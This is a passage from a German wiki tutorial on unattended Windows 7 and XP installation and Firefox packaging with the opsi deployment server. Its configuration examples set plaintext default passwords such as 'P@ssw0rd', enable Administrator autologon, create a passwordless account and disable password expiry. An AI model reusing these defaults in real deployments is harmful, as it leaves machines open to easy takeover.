&lt;br /&gt;
Den Inhalt des Verzeichnis C:\winpe\ISO nach /opt/pcbin/install/win7/winpe kopieren.&lt;br /&gt;
Rechte anpassen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/winpe&lt;br /&gt;
&lt;br /&gt;
Fuer die folgenden Schritte wird ein Arbeitsplatzrechner mit installiertem WAIK (Windows Automated Installation Kit) unter Windows 7 64-Bit benoetigt.&lt;br /&gt;
&lt;br /&gt;
Erstellen eines PE fuer Win7 (x64)&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\PETools\copype.cmd&amp;quot; amd64 C:\winpe&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\amd64\imagex.exe&amp;quot; /mountrw &amp;quot;C:\winpe\winpe.wim&amp;quot; 1 &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 echo c:\opsi\startnet.cmd &amp;gt; &amp;quot;C:\winpe\mount\Windows\System32\startnet.cmd&amp;quot;&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\amd64\imagex.exe&amp;quot; /commit /unmount &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 move &amp;quot;C:\winpe\winpe.wim&amp;quot; &amp;quot;C:\winpe\ISO\sources\boot.wim&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Den Inhalt des Verzeichnis C:\winpe\ISO nach /opt/pcbin/install/win7-x64/winpe kopieren.&lt;br /&gt;
Rechte anpassen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/winpe&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Treiber-Integration&lt;br /&gt;
Die Treiber-Integration verlaeuft analog zu dem Verfahren anderer Windows Versionen: Die Treiber werden unter&lt;br /&gt;
/opt/pcbin/install/win7/drivers/drivers bzw. /opt/pcbin/install/win7-x64/drivers/drivers abgelegt. Danach wird das Script create_driver_links.py aufgerufen.&lt;br /&gt;
&lt;br /&gt;
 cd /opt/pcbin/install/win7&lt;br /&gt;
 python create_driver_links.py&lt;br /&gt;
oder&lt;br /&gt;
 cd /opt/pcbin/install/win7-x64&lt;br /&gt;
 python create_driver_links.py&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bereitstellung der Installationsmedien&lt;br /&gt;
Kopieren der Installations-DVD nach&lt;br /&gt;
/opt/pcbin/install/win7/installfiles bzw. /opt/pcbin/install/win7-x64/installfiles und passen Sie Rechte/Eigentuemer an:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/installfiles&lt;br /&gt;
bzw.&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/installfiles&lt;br /&gt;
&lt;br /&gt;
Anpassungen der Installation, z.B. Proxy oder Administrator Passwort oder Display Aufloesung, kann man unter /opt/pcbin/install/win7/custom/unattend.xml bzw. /opt/pcbin/install/win7-x64/custom/unattend.xml vornehmen, z.B.:&lt;br /&gt;
&lt;br /&gt;
				&amp;lt;AdministratorPassword&amp;gt;&lt;br /&gt;
					&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
					&amp;lt;Value&amp;gt;P@ssw0rd&amp;lt;/Value&amp;gt;&lt;br /&gt;
				&amp;lt;/AdministratorPassword&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
			&amp;lt;AutoLogon&amp;gt;&lt;br /&gt;
				&amp;lt;Enabled&amp;gt;true&amp;lt;/Enabled&amp;gt;&lt;br /&gt;
				&amp;lt;LogonCount&amp;gt;1&amp;lt;/LogonCount&amp;gt;&lt;br /&gt;
				&amp;lt;Username&amp;gt;Administrator&amp;lt;/Username&amp;gt;&lt;br /&gt;
				&amp;lt;Password&amp;gt;&lt;br /&gt;
					&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
					&amp;lt;Value&amp;gt;P@ssw0rd&amp;lt;/Value&amp;gt;&lt;br /&gt;
				&amp;lt;/Password&amp;gt;&lt;br /&gt;
			&amp;lt;/AutoLogon&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
			&amp;lt;Display&amp;gt;&lt;br /&gt;
				&amp;lt;ColorDepth&amp;gt;32&amp;lt;/ColorDepth&amp;gt;&lt;br /&gt;
				&amp;lt;DPI&amp;gt;96&amp;lt;/DPI&amp;gt;&lt;br /&gt;
				&amp;lt;HorizontalResolution&amp;gt;1024&amp;lt;/HorizontalResolution&amp;gt;&lt;br /&gt;
				&amp;lt;RefreshRate&amp;gt;75&amp;lt;/RefreshRate&amp;gt;&lt;br /&gt;
				&amp;lt;VerticalResolution&amp;gt;768&amp;lt;/VerticalResolution&amp;gt;&lt;br /&gt;
			&amp;lt;/Display&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/custom&lt;br /&gt;
bzw.&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/custom&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation eines neuen Windows Rechners ueber opsi (OS-Installation) (Windows XP x86)&lt;br /&gt;
Kopieren Sie den Inhalt des i386 Verzeichnis einer Installations-CD fuer Microsoft WinXP Professional in das Verzeichnis /opt/pcbin/install/winxppro/i386 auf dem opsi-server. Sorgen Sie anschliessend noch dafuer, dass das Verzeichnis i386 die richtigen Rechte fuer den Zugriff durch den Installationsprozess hat:&lt;br /&gt;
opsi-setup --set-rights /opt/pcbin/install/winxppro/i386&lt;br /&gt;
Statt vom opsi-server aus unter Linux koennen Sie die Dateien auch ueber das Windows-Netzwerk kopieren. Dafuer muessen Sie sich mit der Freigabe opt_pcbin auf dem opsi-server als Benutzer pcpatch verbinden. Das entsprechende Verzeichnis befindet sich auf der Freigabe in install\winxppro.&lt;br /&gt;
Anpassungen der Installation, z.B. Proxy oder Administrator Passwort, kann man unter /opt/pcbin/install/winxppro/custom/unattend.txt vornehmen.&lt;br /&gt;
Z.B.:&lt;br /&gt;
 [GuiUnattended]&lt;br /&gt;
 AdminPassword = P@ssw0rd&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ueber die Management-Oberflaeche unter Netboot-Produkte kann man auch den Aktivation Key fuer die einzelnen Windows Versionen pro Client hinterlegen oder man setzt diesen Global fuer ein Betriebssystem:&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;productkey&amp;quot; &amp;quot;xxxxx-xxxxx-xxxxx-xxxxx-xxxxx&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;productkey&amp;quot; &amp;quot;xxxxx-xxxxx-xxxxx-xxxxx-xxxxx&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP Pro 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;productkey&amp;quot; &amp;quot;xxxxx-xxxxx-xxxxx-xxxxx-xxxxx&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Des Weiteren kann man mit Hilfe von opsi-admin auch weitere Einstellungen wie z.B. orgname, fullname und auch die Windows 7 Version (imagename) vornehmen:&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;orgname&amp;quot; &amp;quot;Stadt Herne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;fullname&amp;quot; &amp;quot;StadtHerne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;imagename&amp;quot; &amp;quot;Windows 7 PROFESSIONAL&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;orgname&amp;quot; &amp;quot;Stadt Herne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;fullname&amp;quot; &amp;quot;StadtHerne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;imagename&amp;quot; &amp;quot;Windows 7 PROFESSIONAL&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP:&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;orgname&amp;quot; &amp;quot;Stadt Herne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;fullname&amp;quot; &amp;quot;StadtHerne&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Falls man es nicht will das beim Neuinstallieren der Netbootprodukte nachgefragt werden soll ob man dies auch wirklich moechte, kann man folgendes setzen:&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;askbeforeinst&amp;quot; &amp;quot;False&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;askbeforeinst&amp;quot; &amp;quot;False&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP:&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;askbeforeinst&amp;quot; &amp;quot;False&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Diese Werte kann man sich auch wie folgt anzeigen lassen:&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method getProductProperties_hash win7 opsi.oppserver.net&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method getProductProperties_hash win7-x64 opsi.oppserver.net&lt;br /&gt;
Fuer Windows XP:&lt;br /&gt;
 opsi-admin -d method getProductProperties_hash winxppro opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um einen Benutzer der Installation hinzuzufuegen, gehen wir wie folgt vor:&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
In /opt/pcbin/install/win7/custom/unattend.xml in der Section &amp;lt;LocalAccounts&amp;gt; folgendes hinzufuegen:&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schulleiter&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Administrators&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schulleiter&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schulleiter&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Lehrer&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Powerusers&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Lehrer&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Lehrer&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schueler&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Users&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schueler&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schueler&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/custom&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
In /opt/pcbin/install/win7-x64/custom/unattend.xml in der Section &amp;lt;LocalAccounts&amp;gt; folgendes hinzufuegen:&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schulleiter&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Administrators&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schulleiter&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schulleiter&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;starten&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Lehrer&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Powerusers&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Lehrer&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Lehrer&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
					&amp;lt;LocalAccount wcm:action=&amp;quot;add&amp;quot;&amp;gt;&lt;br /&gt;
						&amp;lt;Password&amp;gt;&lt;br /&gt;
							&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
							&amp;lt;Value&amp;gt;&amp;lt;/Value&amp;gt;&lt;br /&gt;
						&amp;lt;/Password&amp;gt;&lt;br /&gt;
						&amp;lt;Description&amp;gt;Schueler&amp;lt;/Description&amp;gt;&lt;br /&gt;
						&amp;lt;Group&amp;gt;Users&amp;lt;/Group&amp;gt;&lt;br /&gt;
						&amp;lt;Name&amp;gt;Schueler&amp;lt;/Name&amp;gt;&lt;br /&gt;
						&amp;lt;DisplayName&amp;gt;Schueler&amp;lt;/DisplayName&amp;gt;&lt;br /&gt;
					&amp;lt;/LocalAccount&amp;gt;&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/custom&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP funktioniert dies ein wenig anders:&lt;br /&gt;
/opt/pcbin/install/winxppro/custom/\$oem\$/cmdlines.txt mit folgendem Inhalt anlegen:&lt;br /&gt;
 [COMMANDS]&lt;br /&gt;
 &amp;quot;useraccounts.cmd&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/opt/pcbin/install/winxppro/custom/\$oem\$/useraccounts.cmd mit folgendem Inhalt anlegen:&lt;br /&gt;
 net user Schulleiter starten /add&lt;br /&gt;
 net localgroup Administratoren Schulleiter /add&lt;br /&gt;
 net user Lehrer starten /add&lt;br /&gt;
 net localgroup Administratoren Lehrer /add&lt;br /&gt;
 net user Schueler /add&lt;br /&gt;
 net accounts /maxpwage:unlimited&lt;br /&gt;
 REGEDIT /S autologon.reg&lt;br /&gt;
 EXIT&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom/\$oem\$&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Moechte man unter Windows XP eine automatische Aktivierung, muss man in /opt/pcbin/install/winxppro/custom/unattend.txt den AutoActivate Wert von No in Yes aendern:&lt;br /&gt;
 AutoActivate = Yes&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
Fuer die Display Aufloesung muss man den folgenden Wert in /opt/pcbin/install/winxppro/custom/unattend.txt aendern:&lt;br /&gt;
 [Display]&lt;br /&gt;
 ConfigureAtLogon = 1&lt;br /&gt;
 BitsPerPel = 32&lt;br /&gt;
 XResolution = 1024&lt;br /&gt;
 YResolution = 768&lt;br /&gt;
 VRefresh = 75&lt;br /&gt;
 ;flags = 0&lt;br /&gt;
 AutoConfirm = 1&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
Will man unter Windows XP kein klassisches Menue/Theme, muss man folgendes in /opt/pcbin/install/winxppro/custom/unattend.txt aendern:&lt;br /&gt;
 [Shell]&lt;br /&gt;
 DefaultStartPanelOff = No&lt;br /&gt;
 DefaultThemesOff = No&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun zur Erstellung der Softwarepakete, die nachher auf den Client Rechner installiert werden sollen.&lt;br /&gt;
Vorlagen fuer die install.ins und uninstall.ins habe ich mir hier https://forum.opsi.org/wiki/userspace:script_templates gesorgt und angepasst.&lt;br /&gt;
Als Beispiel nun einmal fuer Firefox:&lt;br /&gt;
 cd /home/opsiproducts&lt;br /&gt;
 opsi-newprod&lt;br /&gt;
&lt;br /&gt;
Hier geben wir nun einige Daten zu dem Produkt an.&lt;br /&gt;
 Bitte Produkt-Typ auswaehlen&lt;br /&gt;
 localboot -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Produkt-ID       firefox&lt;br /&gt;
 Produkt-Name     Firefox&lt;br /&gt;
 Beschreibung     Firefox Webbrowser&lt;br /&gt;
 Hinweis          Firefox&lt;br /&gt;
 Produkt-Version  16.0.1&lt;br /&gt;
 Paket-Version    1&lt;br /&gt;
 Lizenzpflichtig  False&lt;br /&gt;
 Prioritaet        0&lt;br /&gt;
 -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Setup-Skript                install.ins&lt;br /&gt;
 Uninstall-Skript            uninstall.ins&lt;br /&gt;
 Update-Skript               &lt;br /&gt;
 Always-Skript               &lt;br /&gt;
 Once-Skript                 &lt;br /&gt;
 Custom-Skript               &lt;br /&gt;
 Benutzer-Anmeldungs-Skript  &lt;br /&gt;
 -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Wollen Sie eine Produkt-Abhaengigkeit definieren?&lt;br /&gt;
 Nein&lt;br /&gt;
&lt;br /&gt;
 Wollen Sie eine Produkt-Eigenschaft definieren?&lt;br /&gt;
 Nein&lt;br /&gt;
&lt;br /&gt;
 Informationen zum Betreuer&lt;br /&gt;
 Name des Betreuers    Oliver Schuetz&lt;br /&gt;
   E-Mail des Betreuers  admin@oppserver.net&lt;br /&gt;
 -&amp;gt; OK&lt;br /&gt;
&lt;br /&gt;
 Fertig&lt;br /&gt;
 Das Paket-Quellverzeichnis &#039;/home/opsiproducts/firefox&#039; wurde erzeugt.&lt;br /&gt;
&lt;br /&gt;
Jetzt erstellen wir die benoetigten &amp;quot;Install&amp;quot; und &amp;quot;Uninstall&amp;quot;-files, die Anweisungen enthalten, wie das Paket nachher installiert werden soll.&lt;br /&gt;
Die Ordnerstruktur sollte dann wie folgt aussehen:&lt;br /&gt;
 root@opsi:/firefox/#&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2584  4. Jun 20:48 delsub.ins&lt;br /&gt;
 drwxr-xr-x 2 root pcpatch  4096 27. Sep 12:59 files&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch 40074  4. Jun 20:48 icon.bmp&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  4477 27. Sep 12:56 install.ins&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2017  4. Jun 20:48 uninstall.ins&lt;br /&gt;
 root@opsi:/firefox/files/#&lt;br /&gt;
 -rw-r--r-- 1 root root    17653976 27. Sep 10:36 Firefox Setup 16.0.1.exe&lt;br /&gt;
&lt;br /&gt;
Die Datei install.ins sieht wie folgt aus:&lt;br /&gt;
 [Initial]&lt;br /&gt;
 ; Script angepasst von Oliver Schuetz&lt;br /&gt;
 LogLevel=2&lt;br /&gt;
 ;  Log Errors in Logfile but don&#039;t abort:&lt;br /&gt;
 ExitOnError=false&lt;br /&gt;
 ; Show syntax errors in the script:&lt;br /&gt;
 ScriptErrorMessages=on&lt;br /&gt;
 ; Dont trace step by step through the script:&lt;br /&gt;
 TraceMode=off&lt;br /&gt;
 ; let started programs run in front of the winst window&lt;br /&gt;
 StayOnTop=false&lt;br /&gt;
 &lt;br /&gt;
 [Aktionen]&lt;br /&gt;
 DefVar $ProductId$&lt;br /&gt;
 DefVar $InstallDir$&lt;br /&gt;
 DefVar $NewExe$&lt;br /&gt;
 DefVar $PRODUCTPATH$&lt;br /&gt;
 DefStringList $profiles$&lt;br /&gt;
 DefVar $akt_profile_ini$&lt;br /&gt;
 DefVar $rel_prefs_path$&lt;br /&gt;
 DefVar $akt_prefs_path$&lt;br /&gt;
 DefVar $TEMP$&lt;br /&gt;
 DefVar $OS$&lt;br /&gt;
 DefVar $UninstallCommand$&lt;br /&gt;
 DefVar $MozInstallDir$&lt;br /&gt;
 DefVar $MozVersion$&lt;br /&gt;
 DefVar $MozInstallPathRegKey$&lt;br /&gt;
 DefVar $PROXY_HOSTNAME_OR_IP$&lt;br /&gt;
 DefVar $PROXY_PORT$&lt;br /&gt;
 DefVar $NOPROXY_HOSTS$&lt;br /&gt;
 DefVar $PREF_FILE$&lt;br /&gt;
 DefStringList $languageInfo$&lt;br /&gt;
 DefVar $language$&lt;br /&gt;
 DefVar $AppData$&lt;br /&gt;
 DefVar $SilentSwitch$&lt;br /&gt;
 DefVar $ExitCode$&lt;br /&gt;
 DefVar $FIREFOXVER$&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
 ; ----------------------------------------------------------------------&lt;br /&gt;
 Set $TEMP$ = EnvVar(&amp;quot;TEMP&amp;quot;)&lt;br /&gt;
 Set $PRODUCTPATH$=&amp;quot;%ProgramFilesDir%\Mozilla Firefox&amp;quot;&lt;br /&gt;
 Set $MozInstallDir$ = $PRODUCTPATH$&lt;br /&gt;
 set $InstallDir$=$PRODUCTPATH$&lt;br /&gt;
 set $NewExe$= $PRODUCTPATH$+&amp;quot;\&amp;quot;&lt;br /&gt;
 set $ProductId$ = &amp;quot;firefox&amp;quot;&lt;br /&gt;
 set $OS$ = GetNTVersion&lt;br /&gt;
 set $FIREFOXVER$ = &amp;quot;Firefox Setup 16.0.1.exe&amp;quot;&lt;br /&gt;
 set $SilentSwitch$ = &amp;quot;-ms&amp;quot;&lt;br /&gt;
 ; ----------------------------------------------------------------------&lt;br /&gt;
 ; Haben wir genug Speicherplatz?&lt;br /&gt;
 if not(HasMinimumSpace (&amp;quot;%SYSTEMDRIVE%&amp;quot;, &amp;quot;30 MB&amp;quot;))&lt;br /&gt;
    LogError &amp;quot;Nicht genuegend Platz auf C: . 30 MB auf C: fuer Firefox erforderlich.&amp;quot;&lt;br /&gt;
    isFatalError&lt;br /&gt;
    comment &amp;quot;Bearbeitung beenden und Produktschalter auf failed setzen&amp;quot;&lt;br /&gt;
 else&lt;br /&gt;
    comment &amp;quot;Zeige Produkt Bild&amp;quot;&lt;br /&gt;
    ShowBitmap /3 &amp;quot;%scriptpath%\icon.bmp&amp;quot; &amp;quot;Firefox&amp;quot;&lt;br /&gt;
    if FileExists(&amp;quot;%ScriptPath%\delsub.ins&amp;quot;)&lt;br /&gt;
        comment &amp;quot;start delsub.ins&amp;quot;&lt;br /&gt;
        sub &amp;quot;%ScriptPath%\delsub.ins&amp;quot;&lt;br /&gt;
    endif&lt;br /&gt;
    comment &amp;quot;Meldung waehrend der Installation:&amp;quot;&lt;br /&gt;
    Message &amp;quot;Installiere Firefox...&amp;quot;&lt;br /&gt;
    comment &amp;quot;Stoppe alle laufenden Firefox&amp;quot;&lt;br /&gt;
    killtask &amp;quot;firefox.exe&amp;quot;&lt;br /&gt;
    comment &amp;quot;pruefe nach depotshare&amp;quot;&lt;br /&gt;
    if not (FileExists(&amp;quot;%SCRIPTPATH%&amp;quot;))&lt;br /&gt;
        DosInAnIcon_TryToReconnect&lt;br /&gt;
    endif&lt;br /&gt;
  &lt;br /&gt;
    comment &amp;quot;Starte Setup Programm&amp;quot;&lt;br /&gt;
    Files_copy_local&lt;br /&gt;
    Winbatch_firefox&lt;br /&gt;
    sub_check_exitcode&lt;br /&gt;
    comment &amp;quot;Stope alle laufenden Firefox&amp;quot;&lt;br /&gt;
    killtask &amp;quot;firefox.exe&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
    if not(FileExists($NewExe$))&lt;br /&gt;
        logError &amp;quot;Fatal: Nach der Installation &amp;quot;+$NewExe$+&amp;quot; nicht gefunden&amp;quot;&lt;br /&gt;
        isFatalError&lt;br /&gt;
    endif&lt;br /&gt;
 &lt;br /&gt;
    comment &amp;quot;loesche temporaere Dateien&amp;quot;&lt;br /&gt;
    Files_del&lt;br /&gt;
 endif&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 [Files_copy_local]&lt;br /&gt;
 copy -x &amp;quot;%SCRIPTPATH%\files\$FIREFOXVER$&amp;quot; c:\tmp&lt;br /&gt;
 copy -s &amp;quot;%scriptpath%\firefox-profile\*&amp;quot; &amp;quot;$InstallDir$\defaults\profile\.&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 [Files_del]&lt;br /&gt;
 delete -f &amp;quot;c:\tmp\$FIREFOXVER$&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 [Winbatch_firefox]&lt;br /&gt;
 ; see http://wiki.mozilla.org/Installer:Command_Line_Arguments&lt;br /&gt;
 &amp;quot;c:\tmp\$FIREFOXVER$&amp;quot; $SilentSwitch$&lt;br /&gt;
  &lt;br /&gt;
 [dosbatch_profiledir]&lt;br /&gt;
 @echo off&lt;br /&gt;
 dir &amp;quot;%ProfileDir%&amp;quot; /b&lt;br /&gt;
  &lt;br /&gt;
 [DosInAnIcon_TryToReconnect]&lt;br /&gt;
 net use&lt;br /&gt;
 set TIMEOUT=&lt;br /&gt;
 :TRY&lt;br /&gt;
     if exist &amp;quot;%SCRIPTPATH%\.&amp;quot; goto READY&lt;br /&gt;
     %ScriptDrive%&lt;br /&gt;
     set TIMEOUT=%TIMEOUT%1&lt;br /&gt;
     if %TIMEOUT% == 1111111111111111 goto READY&lt;br /&gt;
     sleep 1&lt;br /&gt;
     net use&lt;br /&gt;
     goto TRY&lt;br /&gt;
 :READY&lt;br /&gt;
  &lt;br /&gt;
 [PatchTextFile_profile_proxy_file]&lt;br /&gt;
 Set_Netscape_User_Pref (&amp;quot;network.proxy.type&amp;quot;, 2)&lt;br /&gt;
 Set_Netscape_User_Pref (&amp;quot;network.proxy.autoconfig_url&amp;quot;, &amp;quot;file:///$PROXY_HOSTNAME_OR_IP$&amp;quot;)&lt;br /&gt;
  &lt;br /&gt;
 [sub_check_exitcode]&lt;br /&gt;
 comment &amp;quot;test for installation success via exit code&amp;quot;&lt;br /&gt;
 set $ExitCode$ = getLastExitCode&lt;br /&gt;
 ; informations to exit codes see&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa372835(VS.85).aspx&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa368542.aspx&lt;br /&gt;
 if ($ExitCode$ = &amp;quot;0&amp;quot;)&lt;br /&gt;
   comment &amp;quot;looks good: setup program gives exitcode zero&amp;quot;&lt;br /&gt;
   else&lt;br /&gt;
